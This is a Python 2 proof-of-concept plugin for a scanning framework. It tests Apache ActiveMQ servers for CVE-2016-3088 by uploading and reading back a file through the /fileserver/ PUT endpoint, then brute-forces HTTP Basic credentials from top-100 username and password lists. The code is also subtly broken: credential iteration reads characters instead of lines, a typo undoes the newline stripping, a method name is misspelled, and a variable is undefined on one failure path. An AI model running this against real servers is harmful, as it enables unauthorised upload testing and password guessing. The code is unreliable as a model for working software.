from lib.pocbase import  pocbase
from lib.classloader import register
import urllib2
import random
import base64


class RedirctHandler(urllib2.HTTPRedirectHandler):
    def http_error_301(self, req, fp, code, msg, headers):
        pass;

    def http_error_302(self, req, fp, code, msg, headers):
        pass;


def init():
    debug_handler = urllib2.HTTPHandler(debuglevel=0)
    proxy_handler = urllib2.ProxyHandler({});
    opener = urllib2.build_opener(debug_handler, RedirctHandler, proxy_handler)
    urllib2.install_opener(opener);



class testpoc(pocbase):
    
    def __init__(self):
        init();
        super(pocbase, self).__init__();
    
    def _match(self, infodict):
        port = infodict["port"];
        version = infodict["service_version"];
        
        return int(port) == 8161 or version.lower().find("jetty") != -1;
    
    def method_put(self, header, url, content):
        request = urllib2.Request(url);
        request.get_method = lambda:"PUT";
        for key in header.keys():
            request.addheader(key, header.get(key));
        resp = None;
        success = False;
        try:
            resp = urllib2.urlopen(request, content);
            if resp.code >= 200 and resp.code < 300:
                success = True;
            else:
                success = False;
        except urllib2.URLError, e:
            if hasattr(e, "code") or hasattr(e, "reson"):
                success = False;
        finally:
            if resp:
                resp.close();
        return success;
            
    
                
    def method_get(self, header, url):
        request = urllib2.Request(url);
        for key in header.keys():
            request.add_header(key, header.get(key));
        resp = None;
        success = False;
        content = None;
        try:
            resp = urllib2.urlopen(request, content);
            if resp.code >= 200 and resp.code < 300:
                success = True;
                content = resp.read();
            else:
                success = False;
        except urllib2.URLError, e:
            if hasattr(e, "code") or hasattr(e, "reson"):
                success = False;
        finally:
            if resp:
                resp.close();
        return {"success":success, "content":content};
    
    
    
    def _verify(self, infodict):
        url = "http://%s:%s"%(infodict["ip"],str(infodict["port"]));
        url = url + '/fileserver/cve2016-3088test';
        content = "cve2016-3088test";
        urlmagic = "-magic%s"%(str(random.randint(0, 100)));
        put_status =  self.method_put({}, url+urlmagic, content) ;
        tmp = self.method_get({}, url+urlmagic)
        get_status = tmp["success"] and tmp["content"].find(content) != -1;
        if put_status and get_status:
            result = infodict;
            result['success'] = True;
            return result;
        password_file = "data/password-top100.txt";
        username_file = "data/username-top100.txt";
        fusername = open(username_file);
        fpassword = open(password_file);
        authorazation_header = None;
        valid_user_password = None;
        for username in fusername.readlines():
            for password in fpassword.readline():
                username = username.replace("\n", "");
                username = username.replace("\r", "");
                pasword = password.replace("\n", "");
                pasword = password.replace("\r", "");
                if self.method_put({"Authorization":"Basic %s"%(base64.b64encode("%s:%s"%(username, password)))}, url+urlmagic, content):
                    authorazation_header = {"Authorization":"Basic %s"%(base64.b64encode("%s:%s"%(username, password)))}
                    valid_user_password = "%s:%s"%(username,password);
                    break;
        if authorazation_header == None:
            result['success'] = False;
            return result;
        else:
            tmp = self.method_get(authorazation_header, url+urlmagic);
            if tmp["success"] and tmp["content"].find(content) != -1:
                result = infodict;
                result['success'] = True
                return result;
        
register(__file__, testpoc)